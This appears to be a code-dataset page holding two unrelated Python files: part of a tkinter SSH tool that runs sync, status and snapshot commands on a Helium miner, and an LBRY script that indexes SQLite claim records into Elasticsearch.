'cd /mnt/mmcblk0p1/miner_data/snap && wget http://snapshots-wtf.sensecapmx.cloud/snap-',
'docker exec miner miner snapshot load /var/data/snap/snap- &',
'docker exec miner miner repair sync_state',
'docker exec miner miner repair sync_resume']
do_sync_resume = False
for idx, cmd in enumerate(cmds):
if idx == 7 and do_sync_resume: # sync resume
chk = True
while chk:
self.update_fbdata(f'${cmd}\n')
out, stderr = self.s.exec_cmd(cmd=cmd)
self.update_fbdata(out)
if stderr != '': self.update_fbdata(f'STDERR: {stderr}')
self.log += f'#{cmd}\n{out}'
if stderr != '': self.log += f'STDERR: {stderr}'
chk = 'failed' in out
else:
if idx == 4: # wget
cmd += height
elif idx == 5: # snapshot load
cmd = f"{cmd.split(' &')[0]}{height}{cmd.split('snap-')[1]}"
self.update_fbdata(f'${cmd}\n')
out, stderr = self.s.exec_cmd(cmd=cmd)
self.update_fbdata(out)
if stderr != '':
if idx == 4: stderr = '\n'.join(stderr.split('\n')[:13])+'\n'+' '*30+'..........\n'+'\n'.join(stderr.split('\n')[-10:])
self.update_fbdata(f'STDERR: {stderr}')
if idx == 2: # curl
height = out.split('height":')[1].split('}')[0]
elif idx == 6: # sync_state
do_sync_resume = 'sync active' not in out
self.log += f'#{cmd}\n{out}'
if stderr != '': self.log += f'STDERR: {stderr}'
self.update_fbdata('*** DONE ***\n')
self.save()
self.s.disconnect()
def run_quagga_cmd(self):
cmd = '/etc/init.d/quagga restart'
self.update_fbdata(f'${cmd}\n')
out, stderr = self.s.exec_cmd(cmd=cmd)
self.update_fbdata(out)
if stderr != '': self.update_fbdata(f'STDERR: {stderr}')
self.update_fbdata(f'*** DONE ***\n')
self.s.disconnect()
def run_status_cmd(self):
cmds = ['docker exec miner miner info p2p_status',
'curl -k --connect-timeout 10 https://api.helium.io/v1/blocks/height']
self.update_fbdata(f'${cmds[0]}\n')
for idx, cmd in enumerate(cmds):
out, stderr = self.s.exec_cmd(cmd=cmd)
if idx == 0:
self.update_fbdata(out)
if stderr != '': self.update_fbdata(f'STDERR: {stderr}')
miner_height = int(out.split('height')[1].split('|')[1].split('|')[0])
elif idx == 1:
blockchain_height = int(out.split('height":')[1].split('}')[0])
diff = miner_height - blockchain_height
if diff > 0:
self.update_fbdata(f'-> Miner {diff} blocks ahead of the blockchain! (SYNCED)\n')
elif diff < 0:
self.update_fbdata(f'-> Miner trailing {diff} blocks behind the blockchain. (SYNCING)\n')
else:
self.update_fbdata(f'-> Miner in complete sync with the blockchain! (SYNCED)\n')
self.update_fbdata(f'*** DONE ***\n')
self.s.disconnect()
def run_miner_info_cmd(self):
cmd = 'docker exec miner miner info summary'
self.update_fbdata(f'${cmd}\n')
out, stderr = self.s.exec_cmd(cmd=cmd)
self.update_fbdata(out)
if stderr != '': self.update_fbdata(f'STDERR: {stderr}')
self.update_fbdata(f'*** DONE ***\n')
self.s.disconnect()
def run_peer_book_cmd(self):
cmd = 'docker exec miner miner peer book -s'
self.update_fbdata(f'${cmd}\n')
out, stderr = self.s.exec_cmd(cmd=cmd)
self.update_fbdata(out)
if stderr != '': self.update_fbdata(f'STDERR: {stderr}')
self.update_fbdata(f'*** DONE ***\n')
self.s.disconnect()
def conn_sequence(self):
addr = self.ipEntry.get()
port = self.portEntry.get()
if not self.valid_port(port):
self.throw_custom_error(title='Error', message='Invalid SSH port. Range : [0, 65535].')
return None
if addr[-1] == 'X':
self.throw_custom_error(title='Error', message='Enter device IP address.')
return None
if not self.validate_ip_address(addr):
self.throw_custom_error(title='Error', message='Invalid IP address.')
return None
opts = self.read_config()
user, passwd = [opts[key] for key in ['username', 'password']]
if any([x==None for x in [user, passwd]]):
self.throw_custom_error(title='Error', message='Error reading options.config file.')
return None
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
if sock.connect_ex((addr, int(port))) != 0:
sock.close()
self.throw_trouble_connecting_error()
return None
sock.close()
self.s.set_config(addr=addr, user=user, port=port, password=passwd)
connection = self.s.connect()
self.clear_fbdata()
if not self.s.is_alive() or connection == None:
self.update_fbdata('Connection Error.\nCheck username and password in options.config in config/ folder.')
return None
return True
def update_fbdata(self, d):
self.fbdata.configure(state='normal')
self.fbdata.insert('end', d)
self.fbdata.update()
self.fbdata.configure(state='disabled')
self.fbdata.see('end')
def clear_fbdata(self):
self.fbdata.configure(state='normal')
self.fbdata.delete('3.0', 'end')
self.fbdata.insert('end', '\n')
self.fbdata.configure(state='disabled')
def validate_ip_address(self, address):
try:
ip = ipaddress.ip_address(address)
return True
except ValueError:
return False
def valid_port(self, port):
try:
port = int(port)
return (port >= 0 and port <=65535)
except:
return False
def read_config(self):
if os.path.isfile(self.optionspath) and os.path.getsize(self.optionspath) > 0:
with open(self.optionspath, 'r') as f:
lines = f.readlines()
opts = {key:'' for key in ['username', 'password']}
for line in lines:
if any([x in line for x in opts.keys()]):
key, val = line.split('=')
opts[key] = val.strip()
return opts
else:
return {key:None for key in ['username', 'password']}
def save(self):
try:
with open(self.savepath, 'w') as f:
f.write(self.log)
except Exception as e:
self.throw_custom_error('ERROR', 'Error trying to save log file.')
print(f'e : {e}')
#**************************** THROW ERROR ****************************
def throw_trouble_connecting_error(self):
messagebox.showwarning(title='ERROR', message='Having trouble connecting to device.')
def throw_custom_error(self, title, message):
messagebox.showwarning(title=title, message=message)
#**************************** THROW ERROR ****************************
def exit(self):
self.quit()
self.destroy()
if __name__ == '__main__':
gui = heliumUpdateGUI()
gui.resizable(True, True)
gui.minsize(900, 500)
gui.protocol('WM_DELETE_WINDOW', gui.exit)
gui.mainloop()
|
sync.py
|
import argparse
import asyncio
import logging
import os
from collections import namedtuple
from multiprocessing import Process
import sqlite3
from elasticsearch import AsyncElasticsearch
from elasticsearch.helpers import async_bulk
from lbry.wallet.server.env import Env
from lbry.wallet.server.coin import LBC
from lbry.wallet.server.db.elasticsearch.search import extract_doc, SearchIndex, IndexVersionMismatch
async def get_all(db, shard_num, shards_total, limit=0, index_name='claims'):
logging.info("shard %d starting", shard_num)
def namedtuple_factory(cursor, row):
Row = namedtuple('Row', (d[0] for d in cursor.description))
return Row(*row)
db.row_factory = namedtuple_factory
total = db.execute(f"select count(*) as total from claim where height % {shards_total} = {shard_num};").fetchone()[0]
for num, claim in enumerate(db.execute(f"""
SELECT claimtrie.claim_hash as is_controlling,
claimtrie.last_take_over_height,
(select group_concat(tag, ',,') from tag where tag.claim_hash in (claim.claim_hash, claim.reposted_claim_hash)) as tags,
(select group_concat(language, ' ') from language where language.claim_hash in (claim.claim_hash, claim.reposted_claim_hash)) as languages,
cr.has_source as reposted_has_source,
cr.claim_type as reposted_claim_type,
cr.stream_type as reposted_stream_type,
cr.media_type as reposted_media_type,
cr.duration as reposted_duration,
cr.fee_amount as reposted_fee_amount,
cr.fee_currency as reposted_fee_currency,
claim.*
FROM claim LEFT JOIN claimtrie USING (claim_hash) LEFT JOIN claim cr ON cr.claim_hash=claim.reposted_claim_hash
WHERE claim.height % {shards_total} = {shard_num}
ORDER BY claim.height desc
""")):
claim = dict(claim._asdict())
claim['has_source'] = bool(claim.pop('reposted_has_source') or claim['has_source'])
claim['stream_type'] = claim.pop('reposted_stream_type') or claim['stream_type']
claim['media_type'] = claim.pop('reposted_media_type') or claim['media_type']
claim['fee_amount'] = claim.pop('reposted_fee_amount') or claim['fee_amount']
claim['fee_currency'] = claim.pop('reposted_fee_currency') or claim['fee_currency']
claim['duration'] = claim.pop('reposted_duration') or claim['duration']
claim['censor_type'] = 0
claim['censoring_channel_id'] = None
claim['tags'] = claim['tags'].split(',,') if claim['tags'] else []
claim['languages'] = claim['languages'].split(' ') if claim['languages'] else []
if num % 10_000 == 0:
logging.info("%d/%d", num, total)
yield extract_doc(claim, index_name)
if 0 < limit <= num:
break
async def consume(producer, index_name):
env = Env(LBC)
logging.info("ES sync host: %s:%i", env.elastic_host, env.elastic_port)
es = AsyncElasticsearch([{'host': env.elastic_host, 'port': env.elastic_port}])
try:
await async_bulk(es, producer, request_timeout=120)
await es.indices.refresh(index=index_name)
finally:
await es.close()
async def make_es_index(index=None):
env = Env(LBC)
if index is None:
index = SearchIndex('', elastic_host=env.elastic_host, elastic_port=env.elastic_port)
try:
return await index.start()
except IndexVersionMismatch as err:
logging.info(
"dropping ES search index (version %s) for upgrade to version %s", err.got_version, err.expected_version
)
await index.delete_index()
await index.stop()
return await index.start()
finally:
index.stop()
async def run(db_path, clients, blocks, shard, index_name='claims'):
db = sqlite3.connect(db_path, isolation_level=None, check_same_thread=False, uri=True)
db.execute('pragma journal_mode=wal;')
db.execute('pragma temp_store=memory;')
producer = get_all(db, shard, clients, limit=blocks, index_name=index_name)
await asyncio.gather(*(consume(producer, index_name=index_name) for _ in range(min(8, clients))))
def __run(args, shard):
asyncio.run(run(args.db_path, args.clients, args.blocks, shard))
def run_elastic_sync():
logging.basicConfig(level=logging.INFO)
logging.getLogger('aiohttp').setLevel(logging.WARNING)
logging.getLogger('elasticsearch').setLevel(logging.WARNING)
logging.info('lbry.server starting')
parser = argparse.ArgumentParser(prog="lbry-hub-elastic-sync")
parser.add_argument("db_path", type=str)
parser.add_argument("-c", "--clients", type=int, default=16)
parser.add_argument("-b", "--blocks", type=int, default=0)
parser.add_argument("-f", "--force", default=False, action='store_true')
args = parser.parse_args()
processes = []
if not args.force and not os.path.exists(args.db_path):
logging.info("DB path doesnt exist")
return
if not args.force and not asyncio.run(make_es_index()):
logging.info("ES is already initialized")
return
for i in range(args.clients):
processes.append(Process(target=__run, args=(args, i)))
processes[-1].start()
for process in processes:
process.join()
process.close()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.